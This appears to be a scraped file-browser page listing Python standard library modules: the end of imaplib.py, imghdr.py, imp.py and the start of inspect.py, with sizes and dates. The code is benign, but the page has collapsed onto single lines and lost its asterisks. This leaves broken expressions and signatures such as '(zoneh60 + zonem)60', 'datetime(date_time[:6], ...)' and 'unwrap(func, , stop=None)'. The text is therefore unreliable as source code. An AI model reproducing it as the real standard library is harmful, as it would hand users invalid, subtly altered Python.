= int(mo.group('year')) hour = int(mo.group('hour')) min = int(mo.group('min')) sec = int(mo.group('sec')) zoneh = int(mo.group('zoneh')) zonem = int(mo.group('zonem')) # INTERNALDATE timezone must be subtracted to get UT zone = (zoneh60 + zonem)60 if zonen == b'-': zone = -zone tt = (year, mon, day, hour, min, sec, -1, -1, -1) utc = calendar.timegm(tt) - zone return time.localtime(utc) def Int2AP(num): """Convert integer to A-P string representation.""" val = b''; AP = b'ABCDEFGHIJKLMNOP' num = int(abs(num)) while num: num, mod = divmod(num, 16) val = AP[mod:mod+1] + val return val def ParseFlags(resp): """Convert IMAP4 flags response to python tuple.""" mo = Flags.match(resp) if not mo: return () return tuple(mo.group('flags').split()) def Time2Internaldate(date_time): """Convert date_time to IMAP4 INTERNALDATE representation. Return string in form: '"DD-Mmm-YYYY HH:MM:SS +HHMM"'. The date_time argument can be a number (int or float) representing seconds since epoch (as returned by time.time()), a 9-tuple representing local time, an instance of time.struct_time (as returned by time.localtime()), an aware datetime instance or a double-quoted string. In the last case, it is assumed to already be in the correct format. """ if isinstance(date_time, (int, float)): dt = datetime.fromtimestamp(date_time, timezone.utc).astimezone() elif isinstance(date_time, tuple): try: gmtoff = date_time.tm_gmtoff except AttributeError: if time.daylight: dst = date_time[8] if dst == -1: dst = time.localtime(time.mktime(date_time))[8] gmtoff = -(time.timezone, time.altzone)[dst] else: gmtoff = -time.timezone delta = timedelta(seconds=gmtoff) dt = datetime(date_time[:6], tzinfo=timezone(delta)) elif isinstance(date_time, datetime): if date_time.tzinfo is None: raise ValueError("date_time must be aware") dt = date_time elif isinstance(date_time, str) and (date_time[0],date_time[-1]) == ('"','"'): return date_time # Assume in correct format else: raise ValueError("date_time not of a known type") fmt = '"%d-{}-%Y %H:%M:%S %z"'.format(Months[dt.month]) return dt.strftime(fmt) if __name__ == '__main__': # To test: invoke either as 'python imaplib.py [IMAP4_server_hostname]' # or 'python imaplib.py -s "rsh IMAP4_server_hostname exec /etc/rimapd"' # to test the IMAP4_stream class import getopt, getpass try: optlist, args = getopt.getopt(sys.argv[1:], 'd:s:') except getopt.error as val: optlist, args = (), () stream_command = None for opt,val in optlist: if opt == '-d': Debug = int(val) elif opt == '-s': stream_command = val if not args: args = (stream_command,) if not args: args = ('',) host = args[0] USER = getpass.getuser() PASSWD = getpass.getpass("IMAP password for %s on %s: " % (USER, host or "localhost")) test_mesg = 'From: %(user)s@localhost%(lf)sSubject: IMAP4 test%(lf)s%(lf)sdata...%(lf)s' % {'user':USER, 'lf':'\n'} test_seq1 = ( ('login', (USER, PASSWD)), ('create', ('/tmp/xxx 1',)), ('rename', ('/tmp/xxx 1', '/tmp/yyy')), ('CREATE', ('/tmp/yyz 2',)), ('append', ('/tmp/yyz 2', None, None, test_mesg)), ('list', ('/tmp', 'yy')), ('select', ('/tmp/yyz 2',)), ('search', (None, 'SUBJECT', 'test')), ('fetch', ('1', '(FLAGS INTERNALDATE RFC822)')), ('store', ('1', 'FLAGS', r'(\Deleted)')), ('namespace', ()), ('expunge', ()), ('recent', ()), ('close', ()), ) test_seq2 = ( ('select', ()), ('response',('UIDVALIDITY',)), ('uid', ('SEARCH', 'ALL')), ('response', ('EXISTS',)), ('append', (None, None, None, test_mesg)), ('recent', ()), ('logout', ()), ) def run(cmd, args): M._mesg('%s %s' % (cmd, args)) typ, dat = getattr(M, cmd)(args) M._mesg('%s => %s %s' % (cmd, typ, dat)) if typ == 'NO': raise dat[0] return dat try: if stream_command: M = IMAP4_stream(stream_command) else: M = IMAP4(host) if M.state == 'AUTH': test_seq1 = test_seq1[1:] # Login not needed M._mesg('PROTOCOL_VERSION = %s' % M.PROTOCOL_VERSION) M._mesg('CAPABILITIES = %r' % (M.capabilities,)) for cmd,args in test_seq1: run(cmd, args) for ml in run('list', ('/tmp/', 'yy%')): mo = re.match(r'."([^"]+)"$', ml) if mo: path = mo.group(1) else: path = ml.split()[-1] run('delete', (path,)) for cmd,args in test_seq2: dat = run(cmd, args) if (cmd,args) != ('uid', ('SEARCH', 'ALL')): continue uid = dat[-1].split() if not uid: continue run('uid', ('FETCH', '%s' % uid[-1], '(FLAGS INTERNALDATE RFC822.SIZE RFC822.HEADER RFC822.TEXT)')) print('\nAll tests OK.') except: print('\nTests failed.') if not Debug: print(''' If you would like to see debugging output, try: %s -d5 ''' % sys.argv[0]) raise	52.04 KB	2024-04-17 17:55
📄 imghdr.py """Recognize image file formats based on their first few bytes.""" from os import PathLike __all__ = ["what"] #-------------------------# # Recognize image headers # #-------------------------# def what(file, h=None): f = None try: if h is None: if isinstance(file, (str, PathLike)): f = open(file, 'rb') h = f.read(32) else: location = file.tell() h = file.read(32) file.seek(location) for tf in tests: res = tf(h, f) if res: return res finally: if f: f.close() return None #---------------------------------# # Subroutines per image file type # #---------------------------------# tests = [] def test_jpeg(h, f): """JPEG data in JFIF or Exif format""" if h[6:10] in (b'JFIF', b'Exif'): return 'jpeg' tests.append(test_jpeg) def test_png(h, f): if h.startswith(b'\211PNG\r\n\032\n'): return 'png' tests.append(test_png) def test_gif(h, f): """GIF ('87 and '89 variants)""" if h[:6] in (b'GIF87a', b'GIF89a'): return 'gif' tests.append(test_gif) def test_tiff(h, f): """TIFF (can be in Motorola or Intel byte order)""" if h[:2] in (b'MM', b'II'): return 'tiff' tests.append(test_tiff) def test_rgb(h, f): """SGI image library""" if h.startswith(b'\001\332'): return 'rgb' tests.append(test_rgb) def test_pbm(h, f): """PBM (portable bitmap)""" if len(h) >= 3 and \ h[0] == ord(b'P') and h[1] in b'14' and h[2] in b' \t\n\r': return 'pbm' tests.append(test_pbm) def test_pgm(h, f): """PGM (portable graymap)""" if len(h) >= 3 and \ h[0] == ord(b'P') and h[1] in b'25' and h[2] in b' \t\n\r': return 'pgm' tests.append(test_pgm) def test_ppm(h, f): """PPM (portable pixmap)""" if len(h) >= 3 and \ h[0] == ord(b'P') and h[1] in b'36' and h[2] in b' \t\n\r': return 'ppm' tests.append(test_ppm) def test_rast(h, f): """Sun raster file""" if h.startswith(b'\x59\xA6\x6A\x95'): return 'rast' tests.append(test_rast) def test_xbm(h, f): """X bitmap (X10 or X11)""" if h.startswith(b'#define '): return 'xbm' tests.append(test_xbm) def test_bmp(h, f): if h.startswith(b'BM'): return 'bmp' tests.append(test_bmp) def test_webp(h, f): if h.startswith(b'RIFF') and h[8:12] == b'WEBP': return 'webp' tests.append(test_webp) def test_exr(h, f): if h.startswith(b'\x76\x2f\x31\x01'): return 'exr' tests.append(test_exr) #--------------------# # Small test program # #--------------------# def test(): import sys recursive = 0 if sys.argv[1:] and sys.argv[1] == '-r': del sys.argv[1:2] recursive = 1 try: if sys.argv[1:]: testall(sys.argv[1:], recursive, 1) else: testall(['.'], recursive, 1) except KeyboardInterrupt: sys.stderr.write('\n[Interrupted]\n') sys.exit(1) def testall(list, recursive, toplevel): import sys import os for filename in list: if os.path.isdir(filename): print(filename + '/:', end=' ') if recursive or toplevel: print('recursing down:') import glob names = glob.glob(os.path.join(filename, '')) testall(names, recursive, 0) else: print(' directory (use -r) ') else: print(filename + ':', end=' ') sys.stdout.flush() try: print(what(filename)) except OSError: print(' not found *') if __name__ == '__main__': test()	3.71 KB	2024-04-17 17:55
📄 imp.py """This module provides the components needed to build your own __import__ function. Undocumented functions are obsolete. In most cases it is preferred you consider using the importlib module's functionality over this module. """ # (Probably) need to stay in _imp from _imp import (lock_held, acquire_lock, release_lock, get_frozen_object, is_frozen_package, init_frozen, is_builtin, is_frozen, _fix_co_filename) try: from _imp import create_dynamic except ImportError: # Platform doesn't support dynamic loading. create_dynamic = None from importlib._bootstrap import _ERR_MSG, _exec, _load, _builtin_from_name from importlib._bootstrap_external import SourcelessFileLoader from importlib import machinery from importlib import util import importlib import os import sys import tokenize import types import warnings warnings.warn("the imp module is deprecated in favour of importlib; " "see the module's documentation for alternative uses", DeprecationWarning, stacklevel=2) # DEPRECATED SEARCH_ERROR = 0 PY_SOURCE = 1 PY_COMPILED = 2 C_EXTENSION = 3 PY_RESOURCE = 4 PKG_DIRECTORY = 5 C_BUILTIN = 6 PY_FROZEN = 7 PY_CODERESOURCE = 8 IMP_HOOK = 9 def new_module(name): """DEPRECATED Create a new module. The module is not entered into sys.modules. """ return types.ModuleType(name) def get_magic(): """DEPRECATED Return the magic number for .pyc files. """ return util.MAGIC_NUMBER def get_tag(): """Return the magic tag for .pyc files.""" return sys.implementation.cache_tag def cache_from_source(path, debug_override=None): """DEPRECATED Given the path to a .py file, return the path to its .pyc file. The .py file does not need to exist; this simply returns the path to the .pyc file calculated as if the .py file were imported. If debug_override is not None, then it must be a boolean and is used in place of sys.flags.optimize. If sys.implementation.cache_tag is None then NotImplementedError is raised. """ with warnings.catch_warnings(): warnings.simplefilter('ignore') return util.cache_from_source(path, debug_override) def source_from_cache(path): """DEPRECATED Given the path to a .pyc. file, return the path to its .py file. The .pyc file does not need to exist; this simply returns the path to the .py file calculated to correspond to the .pyc file. If path does not conform to PEP 3147 format, ValueError will be raised. If sys.implementation.cache_tag is None then NotImplementedError is raised. """ return util.source_from_cache(path) def get_suffixes(): """DEPRECATED""" extensions = [(s, 'rb', C_EXTENSION) for s in machinery.EXTENSION_SUFFIXES] source = [(s, 'r', PY_SOURCE) for s in machinery.SOURCE_SUFFIXES] bytecode = [(s, 'rb', PY_COMPILED) for s in machinery.BYTECODE_SUFFIXES] return extensions + source + bytecode class NullImporter: """DEPRECATED Null import object. """ def __init__(self, path): if path == '': raise ImportError('empty pathname', path='') elif os.path.isdir(path): raise ImportError('existing directory', path=path) def find_module(self, fullname): """Always returns None.""" return None class _HackedGetData: """Compatibility support for 'file' arguments of various load_() functions.""" def __init__(self, fullname, path, file=None): super().__init__(fullname, path) self.file = file def get_data(self, path): """Gross hack to contort loader to deal w/ load_()'s bad API.""" if self.file and path == self.path: # The contract of get_data() requires us to return bytes. Reopen the # file in binary mode if needed. if not self.file.closed: file = self.file if 'b' not in file.mode: file.close() if self.file.closed: self.file = file = open(self.path, 'rb') with file: return file.read() else: return super().get_data(path) class _LoadSourceCompatibility(_HackedGetData, machinery.SourceFileLoader): """Compatibility support for implementing load_source().""" def load_source(name, pathname, file=None): loader = _LoadSourceCompatibility(name, pathname, file) spec = util.spec_from_file_location(name, pathname, loader=loader) if name in sys.modules: module = _exec(spec, sys.modules[name]) else: module = _load(spec) # To allow reloading to potentially work, use a non-hacked loader which # won't rely on a now-closed file object. module.__loader__ = machinery.SourceFileLoader(name, pathname) module.__spec__.loader = module.__loader__ return module class _LoadCompiledCompatibility(_HackedGetData, SourcelessFileLoader): """Compatibility support for implementing load_compiled().""" def load_compiled(name, pathname, file=None): """DEPRECATED""" loader = _LoadCompiledCompatibility(name, pathname, file) spec = util.spec_from_file_location(name, pathname, loader=loader) if name in sys.modules: module = _exec(spec, sys.modules[name]) else: module = _load(spec) # To allow reloading to potentially work, use a non-hacked loader which # won't rely on a now-closed file object. module.__loader__ = SourcelessFileLoader(name, pathname) module.__spec__.loader = module.__loader__ return module def load_package(name, path): """DEPRECATED""" if os.path.isdir(path): extensions = (machinery.SOURCE_SUFFIXES[:] + machinery.BYTECODE_SUFFIXES[:]) for extension in extensions: init_path = os.path.join(path, '__init__' + extension) if os.path.exists(init_path): path = init_path break else: raise ValueError('{!r} is not a package'.format(path)) spec = util.spec_from_file_location(name, path, submodule_search_locations=[]) if name in sys.modules: return _exec(spec, sys.modules[name]) else: return _load(spec) def load_module(name, file, filename, details): """DEPRECATED Load a module, given information returned by find_module(). The module name must include the full package name, if any. """ suffix, mode, type_ = details if mode and (not mode.startswith(('r', 'U')) or '+' in mode): raise ValueError('invalid file open mode {!r}'.format(mode)) elif file is None and type_ in {PY_SOURCE, PY_COMPILED}: msg = 'file object required for import (type code {})'.format(type_) raise ValueError(msg) elif type_ == PY_SOURCE: return load_source(name, filename, file) elif type_ == PY_COMPILED: return load_compiled(name, filename, file) elif type_ == C_EXTENSION and load_dynamic is not None: if file is None: with open(filename, 'rb') as opened_file: return load_dynamic(name, filename, opened_file) else: return load_dynamic(name, filename, file) elif type_ == PKG_DIRECTORY: return load_package(name, filename) elif type_ == C_BUILTIN: return init_builtin(name) elif type_ == PY_FROZEN: return init_frozen(name) else: msg = "Don't know how to import {} (type code {})".format(name, type_) raise ImportError(msg, name=name) def find_module(name, path=None): """DEPRECATED Search for a module. If path is omitted or None, search for a built-in, frozen or special module and continue search in sys.path. The module name cannot contain '.'; to search for a submodule of a package, pass the submodule name and the package's __path__. """ if not isinstance(name, str): raise TypeError("'name' must be a str, not {}".format(type(name))) elif not isinstance(path, (type(None), list)): # Backwards-compatibility raise RuntimeError("'path' must be None or a list, " "not {}".format(type(path))) if path is None: if is_builtin(name): return None, None, ('', '', C_BUILTIN) elif is_frozen(name): return None, None, ('', '', PY_FROZEN) else: path = sys.path for entry in path: package_directory = os.path.join(entry, name) for suffix in ['.py', machinery.BYTECODE_SUFFIXES[0]]: package_file_name = '__init__' + suffix file_path = os.path.join(package_directory, package_file_name) if os.path.isfile(file_path): return None, package_directory, ('', '', PKG_DIRECTORY) for suffix, mode, type_ in get_suffixes(): file_name = name + suffix file_path = os.path.join(entry, file_name) if os.path.isfile(file_path): break else: continue break # Break out of outer loop when breaking out of inner loop. else: raise ImportError(_ERR_MSG.format(name), name=name) encoding = None if 'b' not in mode: with open(file_path, 'rb') as file: encoding = tokenize.detect_encoding(file.readline)[0] file = open(file_path, mode, encoding=encoding) return file, file_path, (suffix, mode, type_) def reload(module): """DEPRECATED Reload the module and return it. The module must have been successfully imported before. """ return importlib.reload(module) def init_builtin(name): """DEPRECATED Load and return a built-in module by name, or None is such module doesn't exist """ try: return _builtin_from_name(name) except ImportError: return None if create_dynamic: def load_dynamic(name, path, file=None): """DEPRECATED Load an extension module. """ import importlib.machinery loader = importlib.machinery.ExtensionFileLoader(name, path) # Issue #24748: Skip the sys.modules check in _load_module_shim; # always load new extension spec = importlib.machinery.ModuleSpec( name=name, loader=loader, origin=path) return _load(spec) else: load_dynamic = None	10.29 KB	2024-04-17 17:55
📁 importlib	-	2025-10-13 08:00
📄 inspect.py """Get useful information from live Python objects. This module encapsulates the interface provided by the internal special attributes (co_, im_, tb_, etc.) in a friendlier fashion. It also provides some help for examining source code and class layout. Here are some of the useful functions provided by this module: ismodule(), isclass(), ismethod(), isfunction(), isgeneratorfunction(), isgenerator(), istraceback(), isframe(), iscode(), isbuiltin(), isroutine() - check object types getmembers() - get members of an object that satisfy a given condition getfile(), getsourcefile(), getsource() - find an object's source code getdoc(), getcomments() - get documentation on an object getmodule() - determine the module that an object came from getclasstree() - arrange classes so as to represent their hierarchy getargvalues(), getcallargs() - get info about function arguments getfullargspec() - same, with support for Python 3 features formatargvalues() - format an argument spec getouterframes(), getinnerframes() - get info about frames currentframe() - get the current stack frame stack(), trace() - get info about frames on the stack or in a traceback signature() - get a Signature object for the callable """ # This module is in the public domain. No warranties. __author__ = ('Ka-Ping Yee <ping@lfw.org>', 'Yury Selivanov <yselivanov@sprymix.com>') import abc import dis import collections.abc import enum import importlib.machinery import itertools import linecache import os import re import sys import tokenize import token import types import warnings import functools import builtins from operator import attrgetter from collections import namedtuple, OrderedDict # Create constants for the compiler flags in Include/code.h # We try to get them from dis to avoid duplication mod_dict = globals() for k, v in dis.COMPILER_FLAG_NAMES.items(): mod_dict["CO_" + v] = k # See Include/object.h TPFLAGS_IS_ABSTRACT = 1 << 20 # ----------------------------------------------------------- type-checking def ismodule(object): """Return true if the object is a module. Module objects provide these attributes: __cached__ pathname to byte compiled file __doc__ documentation string __file__ filename (missing for built-in modules)""" return isinstance(object, types.ModuleType) def isclass(object): """Return true if the object is a class. Class objects provide these attributes: __doc__ documentation string __module__ name of module in which this class was defined""" return isinstance(object, type) def ismethod(object): """Return true if the object is an instance method. Instance method objects provide these attributes: __doc__ documentation string __name__ name with which this method was defined __func__ function object containing implementation of method __self__ instance to which this method is bound""" return isinstance(object, types.MethodType) def ismethoddescriptor(object): """Return true if the object is a method descriptor. But not if ismethod() or isclass() or isfunction() are true. This is new in Python 2.2, and, for example, is true of int.__add__. An object passing this test has a __get__ attribute but not a __set__ attribute, but beyond that the set of attributes varies. __name__ is usually sensible, and __doc__ often is. Methods implemented via descriptors that also pass one of the other tests return false from the ismethoddescriptor() test, simply because the other tests promise more -- you can, e.g., count on having the __func__ attribute (etc) when an object passes ismethod().""" if isclass(object) or ismethod(object) or isfunction(object): # mutual exclusion return False tp = type(object) return hasattr(tp, "__get__") and not hasattr(tp, "__set__") def isdatadescriptor(object): """Return true if the object is a data descriptor. Data descriptors have both a __get__ and a __set__ attribute. Examples are properties (defined in Python) and getsets and members (defined in C). Typically, data descriptors will also have __name__ and __doc__ attributes (properties, getsets, and members have both of these attributes), but this is not guaranteed.""" if isclass(object) or ismethod(object) or isfunction(object): # mutual exclusion return False tp = type(object) return hasattr(tp, "__set__") and hasattr(tp, "__get__") if hasattr(types, 'MemberDescriptorType'): # CPython and equivalent def ismemberdescriptor(object): """Return true if the object is a member descriptor. Member descriptors are specialized descriptors defined in extension modules.""" return isinstance(object, types.MemberDescriptorType) else: # Other implementations def ismemberdescriptor(object): """Return true if the object is a member descriptor. Member descriptors are specialized descriptors defined in extension modules.""" return False if hasattr(types, 'GetSetDescriptorType'): # CPython and equivalent def isgetsetdescriptor(object): """Return true if the object is a getset descriptor. getset descriptors are specialized descriptors defined in extension modules.""" return isinstance(object, types.GetSetDescriptorType) else: # Other implementations def isgetsetdescriptor(object): """Return true if the object is a getset descriptor. getset descriptors are specialized descriptors defined in extension modules.""" return False def isfunction(object): """Return true if the object is a user-defined function. Function objects provide these attributes: __doc__ documentation string __name__ name with which this function was defined __code__ code object containing compiled function bytecode __defaults__ tuple of any default values for arguments __globals__ global namespace in which this function was defined __annotations__ dict of parameter annotations __kwdefaults__ dict of keyword only parameters with defaults""" return isinstance(object, types.FunctionType) def isgeneratorfunction(object): """Return true if the object is a user-defined generator function. Generator function objects provide the same attributes as functions. See help(isfunction) for a list of attributes.""" return bool((isfunction(object) or ismethod(object)) and object.__code__.co_flags & CO_GENERATOR) def iscoroutinefunction(object): """Return true if the object is a coroutine function. Coroutine functions are defined with "async def" syntax. """ return bool((isfunction(object) or ismethod(object)) and object.__code__.co_flags & CO_COROUTINE) def isasyncgenfunction(object): """Return true if the object is an asynchronous generator function. Asynchronous generator functions are defined with "async def" syntax and have "yield" expressions in their body. """ return bool((isfunction(object) or ismethod(object)) and object.__code__.co_flags & CO_ASYNC_GENERATOR) def isasyncgen(object): """Return true if the object is an asynchronous generator.""" return isinstance(object, types.AsyncGeneratorType) def isgenerator(object): """Return true if the object is a generator. Generator objects provide these attributes: __iter__ defined to support iteration over container close raises a new GeneratorExit exception inside the generator to terminate the iteration gi_code code object gi_frame frame object or possibly None once the generator has been exhausted gi_running set to 1 when generator is executing, 0 otherwise next return the next item from the container send resumes the generator and "sends" a value that becomes the result of the current yield-expression throw used to raise an exception inside the generator""" return isinstance(object, types.GeneratorType) def iscoroutine(object): """Return true if the object is a coroutine.""" return isinstance(object, types.CoroutineType) def isawaitable(object): """Return true if object can be passed to an ``await`` expression.""" return (isinstance(object, types.CoroutineType) or isinstance(object, types.GeneratorType) and bool(object.gi_code.co_flags & CO_ITERABLE_COROUTINE) or isinstance(object, collections.abc.Awaitable)) def istraceback(object): """Return true if the object is a traceback. Traceback objects provide these attributes: tb_frame frame object at this level tb_lasti index of last attempted instruction in bytecode tb_lineno current line number in Python source code tb_next next inner traceback object (called by this level)""" return isinstance(object, types.TracebackType) def isframe(object): """Return true if the object is a frame object. Frame objects provide these attributes: f_back next outer frame object (this frame's caller) f_builtins built-in namespace seen by this frame f_code code object being executed in this frame f_globals global namespace seen by this frame f_lasti index of last attempted instruction in bytecode f_lineno current line number in Python source code f_locals local namespace seen by this frame f_trace tracing function for this frame, or None""" return isinstance(object, types.FrameType) def iscode(object): """Return true if the object is a code object. Code objects provide these attributes: co_argcount number of arguments (not including , ** args or keyword only arguments) co_code string of raw compiled bytecode co_cellvars tuple of names of cell variables co_consts tuple of constants used in the bytecode co_filename name of file in which this code object was created co_firstlineno number of first line in Python source code co_flags bitmap: 1=optimized \| 2=newlocals \| 4=arg \| 8=arg \| 16=nested \| 32=generator \| 64=nofree \| 128=coroutine \| 256=iterable_coroutine \| 512=async_generator co_freevars tuple of names of free variables co_kwonlyargcount number of keyword only arguments (not including * arg) co_lnotab encoded mapping of line numbers to bytecode indices co_name name with which this code object was defined co_names tuple of names of local variables co_nlocals number of local variables co_stacksize virtual machine stack space required co_varnames tuple of names of arguments and local variables""" return isinstance(object, types.CodeType) def isbuiltin(object): """Return true if the object is a built-in function or method. Built-in functions and methods provide these attributes: __doc__ documentation string __name__ original name of this function or method __self__ instance to which a method is bound, or None""" return isinstance(object, types.BuiltinFunctionType) def isroutine(object): """Return true if the object is any kind of function or method.""" return (isbuiltin(object) or isfunction(object) or ismethod(object) or ismethoddescriptor(object)) def isabstract(object): """Return true if the object is an abstract base class (ABC).""" if not isinstance(object, type): return False if object.__flags__ & TPFLAGS_IS_ABSTRACT: return True if not issubclass(type(object), abc.ABCMeta): return False if hasattr(object, '__abstractmethods__'): # It looks like ABCMeta.__new__ has finished running; # TPFLAGS_IS_ABSTRACT should have been accurate. return False # It looks like ABCMeta.__new__ has not finished running yet; we're # probably in __init_subclass__. We'll look for abstractmethods manually. for name, value in object.__dict__.items(): if getattr(value, "__isabstractmethod__", False): return True for base in object.__bases__: for name in getattr(base, "__abstractmethods__", ()): value = getattr(object, name, None) if getattr(value, "__isabstractmethod__", False): return True return False def getmembers(object, predicate=None): """Return all members of an object as (name, value) pairs sorted by name. Optionally, only return members that satisfy a given predicate.""" if isclass(object): mro = (object,) + getmro(object) else: mro = () results = [] processed = set() names = dir(object) # :dd any DynamicClassAttributes to the list of names if object is a class; # this may result in duplicate entries if, for example, a virtual # attribute with the same name as a DynamicClassAttribute exists try: for base in object.__bases__: for k, v in base.__dict__.items(): if isinstance(v, types.DynamicClassAttribute): names.append(k) except AttributeError: pass for key in names: # First try to get the value via getattr. Some descriptors don't # like calling their __get__ (see bug #1785), so fall back to # looking in the __dict__. try: value = getattr(object, key) # handle the duplicate key if key in processed: raise AttributeError except AttributeError: for base in mro: if key in base.__dict__: value = base.__dict__[key] break else: # could be a (currently) missing slot member, or a buggy # __dir__; discard and move on continue if not predicate or predicate(value): results.append((key, value)) processed.add(key) results.sort(key=lambda pair: pair[0]) return results Attribute = namedtuple('Attribute', 'name kind defining_class object') def classify_class_attrs(cls): """Return list of attribute-descriptor tuples. For each name in dir(cls), the return list contains a 4-tuple with these elements: 0. The name (a string). 1. The kind of attribute this is, one of these strings: 'class method' created via classmethod() 'static method' created via staticmethod() 'property' created via property() 'method' any other flavor of method or descriptor 'data' not a method 2. The class which defined this attribute (a class). 3. The object as obtained by calling getattr; if this fails, or if the resulting object does not live anywhere in the class' mro (including metaclasses) then the object is looked up in the defining class's dict (found by walking the mro). If one of the items in dir(cls) is stored in the metaclass it will now be discovered and not have None be listed as the class in which it was defined. Any items whose home class cannot be discovered are skipped. """ mro = getmro(cls) metamro = getmro(type(cls)) # for attributes stored in the metaclass metamro = tuple(cls for cls in metamro if cls not in (type, object)) class_bases = (cls,) + mro all_bases = class_bases + metamro names = dir(cls) # :dd any DynamicClassAttributes to the list of names; # this may result in duplicate entries if, for example, a virtual # attribute with the same name as a DynamicClassAttribute exists. for base in mro: for k, v in base.__dict__.items(): if isinstance(v, types.DynamicClassAttribute): names.append(k) result = [] processed = set() for name in names: # Get the object associated with the name, and where it was defined. # Normal objects will be looked up with both getattr and directly in # its class' dict (in case getattr fails [bug #1785], and also to look # for a docstring). # For DynamicClassAttributes on the second pass we only look in the # class's dict. # # Getting an obj from the __dict__ sometimes reveals more than # using getattr. Static and class methods are dramatic examples. homecls = None get_obj = None dict_obj = None if name not in processed: try: if name == '__dict__': raise Exception("__dict__ is special, don't want the proxy") get_obj = getattr(cls, name) except Exception as exc: pass else: homecls = getattr(get_obj, "__objclass__", homecls) if homecls not in class_bases: # if the resulting object does not live somewhere in the # mro, drop it and search the mro manually homecls = None last_cls = None # first look in the classes for srch_cls in class_bases: srch_obj = getattr(srch_cls, name, None) if srch_obj is get_obj: last_cls = srch_cls # then check the metaclasses for srch_cls in metamro: try: srch_obj = srch_cls.__getattr__(cls, name) except AttributeError: continue if srch_obj is get_obj: last_cls = srch_cls if last_cls is not None: homecls = last_cls for base in all_bases: if name in base.__dict__: dict_obj = base.__dict__[name] if homecls not in metamro: homecls = base break if homecls is None: # unable to locate the attribute anywhere, most likely due to # buggy custom __dir__; discard and move on continue obj = get_obj if get_obj is not None else dict_obj # Classify the object or its descriptor. if isinstance(dict_obj, (staticmethod, types.BuiltinMethodType)): kind = "static method" obj = dict_obj elif isinstance(dict_obj, (classmethod, types.ClassMethodDescriptorType)): kind = "class method" obj = dict_obj elif isinstance(dict_obj, property): kind = "property" obj = dict_obj elif isroutine(obj): kind = "method" else: kind = "data" result.append(Attribute(name, kind, homecls, obj)) processed.add(name) return result # ----------------------------------------------------------- class helpers def getmro(cls): "Return tuple of base classes (including cls) in method resolution order." return cls.__mro__ # -------------------------------------------------------- function helpers def unwrap(func, , stop=None): """Get the object wrapped by func. Follows the chain of :attr:`__wrapped__` attributes returning the last object in the chain. stop* is an optional callback accepting an object in the wrapper chain as its sole argument that allows the unwrapping to be terminated early if the callback returns a true value. If the callback never returns a true value, the last object in the chain is returned as usual. For example, :func:`signature` uses this to stop unwrapping if any object in the chain has a ``__signature__`` attribute defined. :exc:`ValueError` is raised if a cycle is encountered. """ if stop is None: def _is_wrapper(f): return hasattr(f, '__wrapped__') else: def _is_wrapper(f): return hasattr(f, '__wrapped__') and not stop(f) f = func # remember the original func for error reporting # Memoise by id to tolerate non-hashable objects, but store objects to # ensure they aren't destroyed, which would allow their IDs to be reused. memo = {id(f): f} recursion_limit = sys.getrecursionlimit() while _is_wrapper(func): func = func.__wrapped__ id_func = id(func) if (id_func in memo) or (len(memo) >= recursion_limit): raise ValueError('wrapper loop when unwrapping {!r}'.format(f)) memo[id_func] = func return func # -------------------------------------------------- source code extraction def indentsize(line): """Return the indent size, in spaces, at the start of a line of text.""" expline = line.expandtabs() return len(expline) - len(expline.lstrip()) def _findclass(func): cls = sys.modules.get(func.__module__) if cls is None: return None for name in func.__qualname__.split('.')[:-1]: cls = getattr(cls, name) if not isclass(cls): return None return cls def _finddoc(obj): if isclass(obj): for base in obj.__mro__: if base is not object: try: doc = base.__doc__ except AttributeError: continue if doc is not None: return doc return None if ismethod(obj): name = obj.__func__.__name__ self = obj.__self__ if (isclass(self) and getattr(getattr(self, name, None), '__func__') is obj.__func__): # classmethod cls = self else: cls = self.__class__ elif isfunction(obj): name = obj.__name__ cls = _findclass(obj) if cls is None or getattr(cls, name) is not obj: return None elif isbuiltin(obj): name = obj.__name__ self = obj.__self__ if (isclass(self) and self.__qualname__ + '.' + name == obj.__qualname__): # classmethod cls = self else: cls = self.__class__ # Should be tested before isdatadescriptor(). elif isinstance(obj, property): func = obj.fget name = func.__name__ cls = _findclass(func) if cls is None or getattr(cls, name) is not obj: return None elif ismethoddescriptor(obj) or isdatadescriptor(obj): name = obj.__name__ cls = obj.__objclass__ if getattr(cls, name) is not obj: return None else: return None for base in cls.__mro__: try: doc = getattr(base, name).__doc__ except AttributeError: continue if doc is not None: return doc return None def getdoc(object): """Get the documentation string for an object. All tabs are expanded to spaces. To clean up docstrings that are indented to line up with blocks of code, any whitespace than can be uniformly removed from the second line onwards is removed.""" try: doc = object.__doc__ except AttributeError: return None if doc is None: try: doc = _finddoc(object) except (AttributeError, TypeError): return None if not isinstance(doc, str): return None return cleandoc(doc) def cleandoc(doc): """Clean up indentation from docstrings. Any whitespace that can be uniformly removed from the second line onwards is removed.""" try: lines = doc.expandtabs().split('\n') except UnicodeError: return None else: # Find minimum indentation of any non-blank lines after first line. margin = sys.maxsize for line in lines[1:]: content = len(line.lstrip()) if content: indent = len(line) - content margin = min(margin, indent) # Remove indentation. if lines: lines[0] = lines[0].lstrip() if margin < sys.maxsize: for i in range(1, len(lines)): lines[i] = lines[i][margin:] # Remove any trailing or leading blank lines. while lines and not lines[-1]: lines.pop() while lines and not lines[0]: lines.pop(0) return '\n'.join(lines) def getfile(object): """Work out which source or compiled file an object was defined in.""" if ismodule(object): if getattr(object, '__file__', None): return object.__file__ raise TypeError('{!r} is a built-in module'.format(object)) if isclass(object): if hasattr(object, '__module__'): module = sys.modules.get(object.__module__) if getattr(module, '__file__', None): return module.__file__ raise TypeError('{!r} is a built-in class'.format(object)) if ismethod(object): object = object.__func__ if isfunction(object): object = object.__code__ if istraceback(object): object = object.tb_frame if isframe(object): object = object.f_code if iscode(object): return object.co_filename raise TypeError('module, class, method, function, traceback, frame, or ' 'code object was expected, got {}'.format( type(object).__name__)) def getmodulename(path): """Return the module name for a given file, or None.""" fname = os.path.basename(path) # Check for paths that look like an actual module file suffixes = [(-len(suffix), suffix) for suffix in importlib.machinery.all_suffixes()] suffixes.sort() # try longest suffixes first, in case they overlap for neglen, suffix in suffixes: if fname.endswith(suffix): return fname[:neglen] return None def getsourcefile(object): """Return the filename that can be used to locate an object's source. Return None if no way can be identified to get the source. """ filename = getfile(object) all_bytecode_suffixes = importlib.machinery.DEBUG_BYTECODE_SUFFIXES[:] all_bytecode_suffixes += importlib.machinery.OPTIMIZED_BYTECODE_SUFFIXES[:] if any(filename.endswith(s) for s in all_bytecode_suffixes): filename = (os.path.splitext(filename)[0] + importlib.machinery.SOURCE_SUFFIXES[0]) elif any(filename.endswith(s) for s in importlib.machinery.EXTENSION_SUFFIXES): return None if os.path.exists(filename): return filename # only return a non-existent filename if the module 